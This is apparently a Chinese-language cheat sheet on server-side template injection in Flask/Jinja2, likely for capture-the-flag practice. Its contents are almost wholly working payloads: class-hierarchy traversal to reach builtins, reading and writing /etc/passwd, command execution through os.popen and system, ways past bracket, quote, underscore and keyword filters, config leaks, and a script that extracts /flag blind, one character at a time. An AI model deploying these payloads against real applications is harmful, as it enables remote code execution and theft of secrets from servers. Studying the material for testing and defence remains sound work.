FlaskSSTI

FlaskSSTI

0x00魔术方法

  • dict:保存类实例或对象实例的属性变量键值对字典
  • class:返回调用的参数类型
  • mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • bases:返回类型列表
  • subclasses:返回object的子类
  • init:类的初始化方法
  • globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

__base____mro__ 都是用来寻找基类的。

0x01基本流程

可以利用2简单代码测试是否存在SSTI

使用魔术方法进行函数解析,再获取基本类object:

1
2
3
4
5
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取到基本类之后,可以继续使用subclasses获取object的子类:

1
2
3
4
object.__subclasses__()

#改变数字可以爆破
object.__subclasses__[10]

找到重载过的__init__类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):

1
2
''.__class__.__mro__[2].__subclasses__()[99].__init__
''.__class__.__mro__[2].__subclasses__()[59].__init__

查看其引用 __builtins__

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

读写文件

1
2
3
4
5
6
7
8
#读
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
#写
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()

#若存在子模块,可以直接调用读写文件
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').write()

0x02命令执行

利用eval 进行命令执行

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

利用warnings.catch_warnings 进行命令执行

查看warnings.catch_warnings方法的位置

1
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)59

查看linecatch的位置

1
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')25

查找os模块的位置

1
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

1
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')144

调用system方法

1
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')root0

利用commands 进行命令执行

1
2
3
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

0x04常见绕过方式

绕过中括号

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过

过滤引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

1
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

先获取chr函数,赋值给chr,后面拼接字符串就好了:

1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

过滤下划线

同样利用request.args属性

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

1
2
3
4
#GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
#POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

过滤关键字

base64编码绕过
__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

1
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

1
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}

同时绕过下划线、与中括号

1
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}post:name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

绕过.过滤

.也被过滤,使用原生JinJa2函数|attr()
request.__class__改成request|attr("__class__")

读取config中flag,绕过

直接使用config
1
{{config}}
利用self
1
{{self.__dict__._TemplateReference__context.config}}
还可以利用flask的内置函数和类

url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config

1
2
3
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

过滤大括号

1
可以利用{%%}替代{{}}

盲注文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[0:1]=='p'%}~p0~{% endif %}

#脚本
import requests


url = 'http://127.0.0.1:8080/'

def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/flag").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password

0x05常用payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}